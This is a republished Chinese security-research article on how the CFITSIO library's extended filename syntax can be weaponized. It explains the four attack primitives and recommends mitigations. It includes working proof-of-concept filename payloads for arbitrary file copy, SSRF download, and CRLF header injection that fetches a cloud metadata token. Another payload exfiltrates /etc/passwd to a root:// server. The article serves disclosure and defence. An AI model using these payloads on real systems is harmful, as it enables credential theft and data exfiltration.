当文件名变成攻击面:NASA的CFITSIO扩展语法如何被武器化

admin 2026-05-24 05:29:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了NASACFITSIO库的扩展文件名语法(EFS)如何从设计特性被武器化为安全威胁,揭示了四种攻击原语:任意文件复制、SSRF强制下载、HTTP头注入和通过root://协议外泄本地文件。关键发现是这些并非内存破坏漏洞,而是合法功能在不可信输入下的风险叠加。修复面临向后兼容性挑战,建议开发者使用fitsopendiskfile等安全API并严格限制EFS使用范围。 综合评分: 90 文章分类: 漏洞分析,WEB安全,应用安全,红队,安全工具


cover_image

当文件名变成攻击面:NASA的CFITSIO扩展语法如何被武器化

幻泉之洲

2026年5月20日 13:58 北京

在小说阅读器读本章

去阅读

CFITSIO的扩展文件名语法(EFS)把一个小小的文件名参数变成了近乎完整的迷你编程语言。本文拆解了四种攻击原语——任意文件复制、SSRF强制下载、HTTP头注入、通过废弃root://协议外泄本地文件——这些都不是内存破坏漏洞,而是设计特性被串联利用的结果。最麻烦的是,修复意味着打破几十年的向后兼容性,而科学软件生态对这个极其敏感。

文件名不只是文件名

19 May 2026,我们在BSides Luxembourg 2026上展示了这项研究。此前我们写过CFITSIO的AI辅助fuzzing管道以及EFS中发现的内存破坏问题[1],但那只是故事的一半。即使没有内存问题,EFS本身也是一个相当强大且危险的特性。NASA官方的EFS文档里充满了让人眼前一亮(或者说让人头皮发麻)的用例:

  • rawfile.dat[i512,512]:读取原始二进制数据,动态转换成内存中的临时FITS图像
  • ftp://heasarc.gsfc.nasa.gov/test/vela.fits:直接打开互联网上任意FTP服务器里的FITS文件
  • myfile.fits[EVENTS][PHA > 5]:在打开文件时即时过滤数据,只保留符合SQL式条件的行

说实话,单看这些功能,你会发现EFS早就不是”文件名解析器”了。它是在文件名这个参数里藏了一个迷你语言。现在的问题是:当威胁模型变了,这些三十年前合情合理的设计,会不会变成攻击者手里的拼图块?答案是会。

为了方便复现,我们发布了一个Docker沙盒环境[2],里面有一个极简的示例程序fits-sample-opener——它只做两件事:调用fits_open_file打开文件,然后查询一点无害的元数据。如果仅仅打开一个文件就触发了网络请求、本地文件复制或者数据外泄,那这些行为完全来自CFITSIO本身。

EFS的内部机制

当一个启用了EFS的方法被调用时,输入的字符串最终会到达CFITSIO内部的ffopen()函数。在这个阶段,字符串的各个部分可能被重新解释为协议前缀、输出文件子句、扩展选择器或过滤表达式。

实现方式是驱动化的。CFITSIO通过fits_register_driver维护一个后端驱动表,每个驱动关联一个前缀和一组处理函数——checkfileopencreateseekreadwrite。除了标准文件,还注册了mem://shmem://http://ftps://,甚至还有ftpsmem://ftpfile://这种奇怪变体。这就是为什么EFS能在本地文件、内存文件、压缩文件和网络协议之间无缝切换——调用者什么都没做,CFITSIO帮你把活全干了。

有些驱动实现了writecreate,有些没有。要构造攻击原语,就得仔细排查哪些驱动开放了哪些能力。

原语一:任意文件复制

EFS支持这种写法:input.fits(output.fits)。意思是:处理input.fits,但先把一份副本保存到output.fits

用我们的沙盒试试把input.fits换成/etc/passwd

docker run –rm -v “$(pwd)”:/workspace cfitsio:4.6.3 \  fits-sample-opener ‘/etc/passwd(/workspace/foo)’

虽然/etc/passwd根本不是FITS文件,但复制操作发生在格式校验失败之前。这就是一个任意文件复制原语。取决于目标环境,攻击者可以把敏感文件复制到web可访问目录,或者纯粹搞破坏导致拒绝服务。当然,标准操作系统权限仍然适用,但在这个原语之上可以做的事情已经够多了。

原语二:强制下载和SSRF

如果文件名以http://https://ftp://ftps://开头,CFITSIO会主动连接远程资源并拉取数据。纯http://ftp://路径由原始的socket代码处理,这些代码在代码库里躺了将近三十年——那个年代根本没有SSRF(服务端请求伪造)这个概念。TLS变体委托给libcurl,请求行由库构建,攻击者不能直接控制。

重点来了:输出文件子句在这里照样生效。

docker run –rm -v “$(pwd)”:/workspace cfitsio:4.6.3 \  fits-sample-opener ‘https://example.com/anyfile(/workspace/grabbed.file)’

CFITSIO会下载远程响应并保存到攻击者指定的本地路径,哪怕下载的数据根本不是合法的FITS。在这个节点上,这个库变成了一个带有持久化能力的SSRF小工具。不只是”连接到远程主机”,而是”连接到远程主机、获取内容、然后写到本地文件系统某个有用的位置”。

原语三:HTTP头注入

SSRF在现代攻击中的真正价值往往不是扫描内网,而是访问云元数据服务。在受感染的云工作负载上,元数据端点会派发短生命周期的服务账户令牌,可以把一次SSRF扩展为对整个云API的访问。问题是,云厂商也学聪明了。比如GCP的元数据服务要求请求必须带上Metadata-Flavor: Google头,而CFITSIO的驱动没有提供设置自定义头的接口。

但CFITSIO的HTTP驱动(drvrnet.c)用了一个简单的snprintf来构建请求行:

snprintf(tmpstr, MAXLEN, “GET %s HTTP/1.0\r\n”, fn);

fn来自攻击者控制的文件名,没有经过任何清洗就被插入到请求中。这意味着换行符可以直接嵌入EFS字符串,用来注入额外的HTTP头甚至注入全新的请求。实际上可以一次走私多个请求,不过只有第一个响应会被CFITSIO处理。

在演示中,这已经足够够到需要特殊头的元数据端点:

docker run –rm -v “$(pwd)”:/workspace cfitsio:4.6.3 \  fits-sample-opener $’http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)’

末尾的foo:不是凑数,而是用来注释掉snprintf必定追加的 HTTP/1.0\r\n部分。元数据服务会直接忽略这个未知头。

原语四:通过root://外泄本地文件

前面那些原语依赖有web服务器或网络暴露的目录来接收外泄数据。要是没有呢?你可能会想用https://example.com/anyfile(https://attacker.com/exfil)同时下载和上传——可惜行不通。HTTP驱动把输出子句当作本地文件名处理,而且明确拒绝写操作。

于是我们开始翻找还有哪个驱动能发起网络连接并把数据送出去。CFITSIO至今还保留着一个CERN的rootd协议变体的支持。代码注释承认:”Root协议没有任何真正的文档,所以经验性文档如下:首先,你必须使用一个稍微修改过的rootd服务器……”

虽然在线上找不到那个”稍微修改过的rootd服务器”,但我们从代码注释和CFITSIO源码重构了一个mock服务。这很关键,因为root://驱动不只是用来读远程数据,通过输出子句,它也可以变成外泄数据的接收端。受害者进程被诱导打开一个本地文件,然后把它推送到攻击者控制的root://服务器。

有两个实际问题需要解决。首先,root://代码需要凭据。它检查ROOTUSERNAMEROOTPASSWORD环境变量,如果没设置就退回到从stdin读取。在交互式会话中这通常会阻塞,但在容器、cron任务、流水线这类非交互环境里,stdin往往是关闭的或重定向到EOF,fgets()立即返回,攻击继续进行。

其次,这个驱动期待FITS内容。外泄真正的FITS文件可能也是攻击目标,但能外泄任意文件的价值要大得多。这时EFS的灵活性派上了用场。原始数据子句[b...]可以包装任意字节并凭空生成一个合法的内存FITS对象。

这个链条的核心技巧是:

  • [b500,1]告诉CFITSIO把底层字节当作原始二进制图像数据处理。b选择原始二进制模式,500是合成图像的宽度(取500字节每行),末尾的1让图像高度为一行,结果就是一个简单的500×1 FITS图像。
  • [*,*]是图像区域选择器,选择整个生成的图像。看起来多余,但在测试路径中它能强制CFITSIO把伪造对象当作常规2D图像暴露出来。

组合起来就是:打开引用的文件,把它的开头若干字节重新解释为原始像素,围绕它们合成一个最小的FITS图像头,应用几个过滤器。一旦完成这个转换,非FITS的本地文件就变得对root://外泄路径足够”合法”了。

docker run –network=host –rm cfitsio:4.6.3 \  fits-sample-opener ‘/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]’

捕获到的输出包含一个伪造的FITS头,紧跟着/etc/passwd的前500字节内容。一个完整的外泄通道,由一连串解析器的奇怪行为串联而成,到后来看起来已经像是在搭漏洞利用的积木了。

无意识的”修复”

有一条安全路径,但不是默认的。如果程序显式使用fits_open_diskfilefits_open_datafile,CFITSIO会原样打开路径,不解释EFS。有些应用故意这么做,不过在几个案例中,这么做的动机是功能性的而非安全意识的。

Siril[3],一个天文图像处理工具,就是个典型。审查代码时我们发现Siril已经主动绕过了默认的EFS感知打开路径,显式使用fits_open_diskfile。但动机不是安全加固,而是为了修复用户反馈的文件名解析问题——文件名里带方括号或圆括号,EFS解析器非要解读它们。相关的commit[4]引用的是issue #475[5],讨论的全是功能层面的事。换句话说,最流行的开源天文摄影工具之一最终禁用这个特性,是因为它碍着正常文件处理了,而不是因为有人意识到EFS是个危险的攻击面。

NASA自己随CFITSIO分发的fitsverify工具也一样,独立版本切换到了fits_open_diskfile。发布说明[6]给出的理由是纯功能性的:”允许含有特殊字符的文件路径……否则会失败”。

修复为什么这么难

之前报告的内存破坏bug相对好修。这类设计层面的问题棘手得多,因为CFITSIO完全在按设计工作。所有过滤、转换和访问行为都在被科学软件活跃使用。向后兼容性在科学工具领域是件大事。FITS格式本身能活到今天,就是因为老数据必须继续能用,CFITSIO围绕这个现实生长了几十年。

我们在2026年1月22日向NASA的HEASARC团队提交了安全报告[7],总结了这些不安全的设计和反模式。每个发现都附了针对性的修复建议,但总体建议是改变默认行为和信任边界,而不是砍掉功能。务实的方案是把EFS变成显式的运行时opt-in——比如通过环境变量——同时给有意依赖它的软件保留当前API。改动还是要改,但影响小得多。

截至目前,对使用CFITSIO的开发者来说,最安全的缓解措施就几条:

  • 需要打开字面文件路径时用fits_open_diskfilefits_open_datafile
  • 把EFS当作特权特性,严格限制使用范围
  • 在把输入传给EFS之前加一层额外的文件名清洗

说到底,如果一个参数叫”文件名”,但行为像一个小型编程语言,那就该用对待编程语言的方式去做威胁建模。这不是CFITSIO的代码写得不好,而是三十年前根本没人会想到,一个科学数据处理库的文件名解析器有一天会暴露在不可信输入面前。安全研究人员做的工作里,有意思的部分往往不是找到bug,而是发现旧设计的隐含假设在什么时候悄悄失效了。


参考资料

[1] https://blog.doyensec.com/2026/04/20/cfitsio-fuzzing.html

[2] https://github.com/doyensec/cfitsio-efs-playground

[3] https://siril.org/

[4] https://github.com/gnthibault/siril/commit/11dfba8b52bb7769d2752b5144ef4b95decc2446

[5] https://gitlab.com/free-astro/siril/-/issues/475

[6] https://heasarc.gsfc.nasa.gov/docs/software/lheasoft/release_notes/RelNotes_6.27.2.html

[7] https://www.doyensec.com/resources/Doyensec_Advisory_CFITSIO_Q12026.pdf

[8] https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《当文件名变成攻击面:NASA的CFITSIO扩展语法如何被武器化》

评论:0   参与:  0